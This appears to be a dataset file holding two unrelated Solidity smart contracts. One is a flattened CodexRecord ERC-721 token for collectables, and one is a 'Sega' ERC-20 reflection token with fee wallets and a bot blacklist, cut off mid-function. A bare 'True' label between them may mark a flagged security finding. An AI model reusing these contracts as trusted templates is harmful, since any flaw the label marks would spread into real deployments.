getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom( address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data) public; } // File: contracts/ERC721/ERC721.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { // bytes4(keccak256(&#39;totalSupply()&#39;)) ^ // bytes4(keccak256(&#39;tokenOfOwnerByIndex(address,uint256)&#39;)) ^ // bytes4(keccak256(&#39;tokenByIndex(uint256)&#39;)); bytes4 constant INTERFACE_ERC721_ENUMERABLE = 0x780e9d63; function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { // bytes4(keccak256(&#39;name()&#39;)) ^ // bytes4(keccak256(&#39;symbol()&#39;)) ^ // bytes4(keccak256(&#39;tokenURI(uint256)&#39;)); bytes4 constant INTERFACE_ERC721_METADATA = 0x5b5e139f; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ /* solium-disable-next-line no-empty-blocks */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // File: contracts/ERC165/ERC165.sol /** * @dev A standard for detecting smart contract interfaces. * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ contract ERC165 { // bytes4(keccak256(&#39;supportsInterface(bytes4)&#39;)); bytes4 constant INTERFACE_ERC165 = 0x01ffc9a7; /** * @dev Checks if the smart contract includes a specific interface. * @param _interfaceID The interface identifier, as specified in ERC-165. */ function supportsInterface(bytes4 _interfaceID) public pure returns (bool) { return _interfaceID == INTERFACE_ERC165; } } // File: contracts/library/AddressUtils.sol /** * @title Utility library of inline functions on addresses */ library AddressUtils { /** * @notice Returns whether there is code in the target address * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address address to check * @return whether there is code in the target address */ function isContract(address addr) internal view returns (bool) { uint256 size; // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } // File: contracts/library/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/ERC721/ERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Returns other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4); } // File: contracts/ERC721/ERC721BasicToken.sol /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is ERC721Basic, ERC165 { using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 constant ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Checks if the smart contract includes a specific interface. * @param _interfaceID The interface identifier, as specified in ERC-165. */ function supportsInterface(bytes4 _interfaceID) public pure returns (bool) { return super.supportsInterface(_interfaceID) || _interfaceID == INTERFACE_ERC721; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existance of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * @dev The zero address indicates there is no approved address. * @dev There can only be one approved address per token at a given time. * @dev Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for a the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * @dev An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public { internalTransferFrom( _from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { internalSafeTransferFrom( _from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public { internalSafeTransferFrom( _from, _to, _tokenId, _data); } function internalTransferFrom( address _from, address _to, uint256 _tokenId ) internal { address owner = ownerOf(_tokenId); require(_from == owner); require(_to != address(0)); address sender = msg.sender; require( sender == owner || isApprovedForAll(owner, sender) || getApproved(_tokenId) == sender, "Not authorized to transfer" ); // Resetting the approved address if it&#39;s set if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } tokenOwner[_tokenId] = _to; ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); ownedTokensCount[_to] = ownedTokensCount[_to].add(1); emit Transfer(_from, _to, _tokenId); } function internalSafeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) internal { internalTransferFrom(_from, _to, _tokenId); require( checkAndCallSafeTransfer( _from, _to, _tokenId, _data) ); } /** * @dev Internal function to invoke `onERC721Received` on a target address * @dev The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to) .onERC721Received( msg.sender, _from, _tokenId, _data ); return (retval == ERC721_RECEIVED); } } // File: contracts/ERC721/ERC721Token.sol /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is ERC721, ERC721BasicToken { // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; } /** * @dev Checks if the smart contract includes a specific interface. * @param _interfaceID The interface identifier, as specified in ERC-165. */ function supportsInterface(bytes4 _interfaceID) public pure returns (bool) { return super.supportsInterface(_interfaceID) || _interfaceID == INTERFACE_ERC721_ENUMERABLE || _interfaceID == INTERFACE_ERC721_METADATA; } /** * @dev Gets the token name * @return string representing the token name */ function name() public view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() public view returns (string) { return symbol_; } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function internalTransferFrom( address _from, address _to, uint256 _tokenId ) internal { super.internalTransferFrom(_from, _to, _tokenId); uint256 removeTokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][removeTokenIndex] = lastToken; ownedTokens[_from].length--; ownedTokensIndex[lastToken] = removeTokenIndex; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = ownedTokens[_to].length - 1; } /** * @dev Internal function to set the token URI for a given token * @dev Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } } // File: contracts/CodexRecordMetadata.sol /** * @title CodexRecordMetadata * @dev Storage, mutators, and modifiers for CodexRecord metadata. */ contract CodexRecordMetadata is ERC721Token { struct CodexRecordData { bytes32 nameHash; bytes32 descriptionHash; bytes32[] fileHashes; } event Modified( address indexed _from, uint256 _tokenId, bytes32 _newNameHash, bytes32 _newDescriptionHash, bytes32[] _newFileHashes, bytes _data ); // Mapping from token ID to token data mapping(uint256 => CodexRecordData) internal tokenData; // Global tokenURIPrefix prefix. The token ID will be appended to the uri when accessed // via the tokenURI method string public tokenURIPrefix; /** * @dev Updates token metadata hashes to whatever is passed in * @param _tokenId uint256 The token ID * @param _newNameHash bytes32 The new sha3 hash of the name * @param _newDescriptionHash bytes32 The new sha3 hash of the description * @param _newFileHashes bytes32[] The new sha3 hashes of the files associated with the token * @param _data (optional) bytes Additional data that will be emitted with the Modified event */ function modifyMetadataHashes( uint256 _tokenId, bytes32 _newNameHash, bytes32 _newDescriptionHash, bytes32[] _newFileHashes, bytes _data ) public onlyOwnerOf(_tokenId) { // nameHash is only overridden if it&#39;s not a blank string, since name is a // required value. Emptiness is determined if the first element is the null-byte if (!bytes32IsEmpty(_newNameHash)) { tokenData[_tokenId].nameHash = _newNameHash; } // descriptionHash can always be overridden since it&#39;s an optional value // (e.g. you can "remove" a description by setting it to a blank string) tokenData[_tokenId].descriptionHash = _newDescriptionHash; // fileHashes is only overridden if it has one or more value, since at // least one file (i.e. mainImage) is required bool containsNullHash = false; for (uint i = 0; i < _newFileHashes.length; i++) { if (bytes32IsEmpty(_newFileHashes[i])) { containsNullHash = true; break; } } if (_newFileHashes.length > 0 && !containsNullHash) { tokenData[_tokenId].fileHashes = _newFileHashes; } emit Modified( msg.sender, _tokenId, tokenData[_tokenId].nameHash, tokenData[_tokenId].descriptionHash, tokenData[_tokenId].fileHashes, _data ); } /** * @dev Gets the token given a token ID. * @param _tokenId token ID * @return CodexRecordData token data for the given token ID */ function getTokenById( uint256 _tokenId ) public view returns (bytes32 nameHash, bytes32 descriptionHash, bytes32[] fileHashes) { return ( tokenData[_tokenId].nameHash, tokenData[_tokenId].descriptionHash, tokenData[_tokenId].fileHashes ); } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. * * @dev To save on gas, we will host a standard metadata endpoint for each token. * For Collector privacy, specific token metadata is stored off chain, which means * the metadata returned by this endpoint cannot include specific details about * the physical asset the token represents unless the Collector has made it public. * * @dev This metadata will be a JSON blob that includes: * name - Codex Record * description - Information about the Provider that is hosting the off-chain metadata * imageUri - A generic Codex Record image * * @param _tokenId uint256 ID of the token to query */ function tokenURI( uint256 _tokenId ) public view returns (string) { bytes memory prefix = bytes(tokenURIPrefix); if (prefix.length == 0) { return ""; } // Rather than store a string representation of _tokenId, we just convert it on the fly // since this is just a &#39;view&#39; function (i.e., there&#39;s no gas cost if called off chain) bytes memory tokenId = uint2bytes(_tokenId); bytes memory output = new bytes(prefix.length + tokenId.length); // Index counters uint256 i; uint256 outputIndex = 0; // Copy over the prefix into the new bytes array for (i = 0; i < prefix.length; i++) { output[outputIndex++] = prefix[i]; } // Copy over the tokenId into the new bytes array for (i = 0; i < tokenId.length; i++) { output[outputIndex++] = tokenId[i]; } return string(output); } /** * @dev Based on MIT licensed code @ https://github.com/oraclize/ethereum-api * @dev Converts an incoming uint256 to a dynamic byte array */ function uint2bytes(uint256 i) internal pure returns (bytes) { if (i == 0) { return "0"; } uint256 j = i; uint256 length; while (j != 0) { length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length - 1; j = i; while (j != 0) { bstr[k--] = byte(48 + j % 10); j /= 10; } return bstr; } /** * @dev Returns whether or not a bytes32 array is empty (all null-bytes) * @param _data bytes32 The array to check * @return bool Whether or not the array is empty */ function bytes32IsEmpty(bytes32 _data) internal pure returns (bool) { for (uint256 i = 0; i < 32; i++) { if (_data[i] != 0x0) { return false; } } return true; } } // File: contracts/ERC900/ERC900.sol /** * @title ERC900 Simple Staking Interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md */ contract ERC900 { event Staked(address indexed user, uint256 amount, uint256 total, bytes data); event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data); function stake(uint256 amount, bytes data) public; function stakeFor(address user, uint256 amount, bytes data) public; function unstake(uint256 amount, bytes data) public; function totalStakedFor(address addr) public view returns (uint256); function totalStaked() public view returns (uint256); function token() public view returns (address); function supportsHistory() public pure returns (bool); // NOTE: Not implementing the optional functions // function lastStakedFor(address addr) public view returns (uint256); // function totalStakedForAt(address addr, uint256 blockNumber) public view returns (uint256); // function totalStakedAt(uint256 blockNumber) public view returns (uint256); } // File: contracts/CodexStakeContractInterface.sol contract CodexStakeContractInterface is ERC900 { function stakeForDuration( address user, uint256 amount, uint256 lockInDuration, bytes data) public; function spendCredits( address user, uint256 amount) public; function creditBalanceOf( address user) public view returns (uint256); } // File: contracts/library/DelayedOwnable.sol /** * @title DelayedOwnable * @dev The DelayedOwnable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * @dev This is different than the original Ownable contract because intializeOwnable * must be specifically called after creation to create an owner. */ contract DelayedOwnable { address public owner; bool public isInitialized = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } function initializeOwnable(address _owner) external { require( !isInitialized, "The owner has already been set"); isInitialized = true; owner = _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/library/DelayedPausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract DelayedPausable is DelayedOwnable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: contracts/CodexRecordFees.sol /** * @title CodexRecordFees * @dev Storage, mutators, and modifiers for fees when using the token. * This also includes the DelayedPausable contract for the onlyOwner modifier. */ contract CodexRecordFees is CodexRecordMetadata, DelayedPausable { // Implementation of the ERC20 Codex Protocol Token, used for fees in the contract ERC20 public codexCoin; // Implementation of the ERC900 Codex Protocol Stake Container, // used to calculate discounts on fees CodexStakeContractInterface public codexStakeContract; // Address where all contract fees are sent, i.e., the Community Fund address public feeRecipient; // Fee to create new tokens. 10^18 = 1 token uint256 public creationFee = 0; // Fee to transfer tokens. 10^18 = 1 token uint256 public transferFee = 0; // Fee to modify tokens. 10^18 = 1 token uint256 public modificationFee = 0; modifier canPayFees(uint256 _baseFee) { if (feeRecipient != address(0) && _baseFee > 0) { bool feePaid = false; if (codexStakeContract != address(0)) { uint256 discountCredits = codexStakeContract.creditBalanceOf(msg.sender); // Regardless of what the baseFee is, all transactions can be paid by using exactly one credit if (discountCredits > 0) { codexStakeContract.spendCredits(msg.sender, 1); feePaid = true; } } if (!feePaid) { require( codexCoin.transferFrom(msg.sender, feeRecipient, _baseFee), "Insufficient funds"); } } _; } /** * @dev Sets the address of the ERC20 token used for fees in the contract. * Fees are in the smallest denomination, e.g., 10^18 is 1 token. * @param _codexCoin ERC20 The address of the ERC20 Codex Protocol Token * @param _feeRecipient address The address where the fees are sent * @param _creationFee uint256 The new creation fee. * @param _transferFee uint256 The new transfer fee. * @param _modificationFee uint256 The new modification fee. */ function setFees( ERC20 _codexCoin, address _feeRecipient, uint256 _creationFee, uint256 _transferFee, uint256 _modificationFee ) external onlyOwner { codexCoin = _codexCoin; feeRecipient = _feeRecipient; creationFee = _creationFee; transferFee = _transferFee; modificationFee = _modificationFee; } function setStakeContract(CodexStakeContractInterface _codexStakeContract) external onlyOwner { codexStakeContract = _codexStakeContract; } } // File: contracts/CodexRecordCore.sol /** * @title CodexRecordCore * @dev Core functionality of the token, namely minting. */ contract CodexRecordCore is CodexRecordFees { /** * @dev This event is emitted when a new token is minted and allows providers * to discern which Minted events came from transactions they submitted vs * transactions submitted by other platforms, as well as providing information * about what metadata record the newly minted token should be associated with. */ event Minted(uint256 _tokenId, bytes _data); /** * @dev Sets the global tokenURIPrefix for use when returning token metadata. * Only callable by the owner. * @param _tokenURIPrefix string The new tokenURIPrefix */ function setTokenURIPrefix(string _tokenURIPrefix) external onlyOwner { tokenURIPrefix = _tokenURIPrefix; } /** * @dev Creates a new token * @param _to address The address the token will get transferred to after minting * @param _nameHash bytes32 The sha3 hash of the name * @param _descriptionHash bytes32 The sha3 hash of the description * @param _data (optional) bytes Additional data that will be emitted with the Minted event */ function mint( address _to, bytes32 _nameHash, bytes32 _descriptionHash, bytes32[] _fileHashes, bytes _data ) public { // All new tokens will be the last entry in the array uint256 newTokenId = allTokens.length; internalMint(_to, newTokenId); // Add metadata to the newly created token tokenData[newTokenId] = CodexRecordData({ nameHash: _nameHash, descriptionHash: _descriptionHash, fileHashes: _fileHashes }); emit Minted(newTokenId, _data); } function internalMint(address _to, uint256 _tokenId) internal { require(_to != address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); ownedTokensIndex[_tokenId] = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); allTokens.push(_tokenId); emit Transfer(address(0), _to, _tokenId); } } // File: contracts/CodexRecordAccess.sol /** * @title CodexRecordAccess * @dev Override contract functions */ contract CodexRecordAccess is CodexRecordCore { /** * @dev Make mint() pausable */ function mint( address _to, bytes32 _nameHash, bytes32 _descriptionHash, bytes32[] _fileHashes, bytes _data ) public whenNotPaused canPayFees(creationFee) { return super.mint( _to, _nameHash, _descriptionHash, _fileHashes, _data); } /** * @dev Make trasferFrom() pausable */ function transferFrom( address _from, address _to, uint256 _tokenId ) public whenNotPaused canPayFees(transferFee) { return super.transferFrom( _from, _to, _tokenId); } /** * @dev Make safeTrasferFrom() pausable */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public whenNotPaused canPayFees(transferFee) { return super.safeTransferFrom( _from, _to, _tokenId); } /** * @dev Make safeTrasferFrom() pausable */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public whenNotPaused canPayFees(transferFee) { return super.safeTransferFrom( _from, _to, _tokenId, _data ); } /** * @dev Make modifyMetadataHashes() pausable */ function modifyMetadataHashes( uint256 _tokenId, bytes32 _newNameHash, bytes32 _newDescriptionHash, bytes32[] _newFileHashes, bytes _data ) public whenNotPaused canPayFees(modificationFee) { return super.modifyMetadataHashes( _tokenId, _newNameHash, _newDescriptionHash, _newFileHashes, _data); } } // File: contracts/CodexRecord.sol /** * @title CodexRecord, an ERC721 token for arts & collectables * @dev Developers should never interact with this smart contract directly! * All transactions/calls should be made through CodexRecordProxy. Storage will be maintained * in that smart contract so that the governing body has the ability * to upgrade the contract in the future in the event of an emergency or new functionality. */ contract CodexRecord is CodexRecordAccess { /** * @dev Constructor function */ constructor() public ERC721Token("Codex Record", "CR") { } /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-10-11 */ /** *Submitted for verification at Etherscan.io on 2021-10-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Sega is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sega"; string private constant _symbol = "SEGA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; // 2% reflection fee for every holder uint256 private _teamFee = 10; // 10% Marketing uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 5000 * 10**9; uint256 private _routermax = 50000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _devWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr) { _Marketingfund = devFundAddr; _Deployer = depAddr; _devWalletAddress = devfeeAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Deployer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns 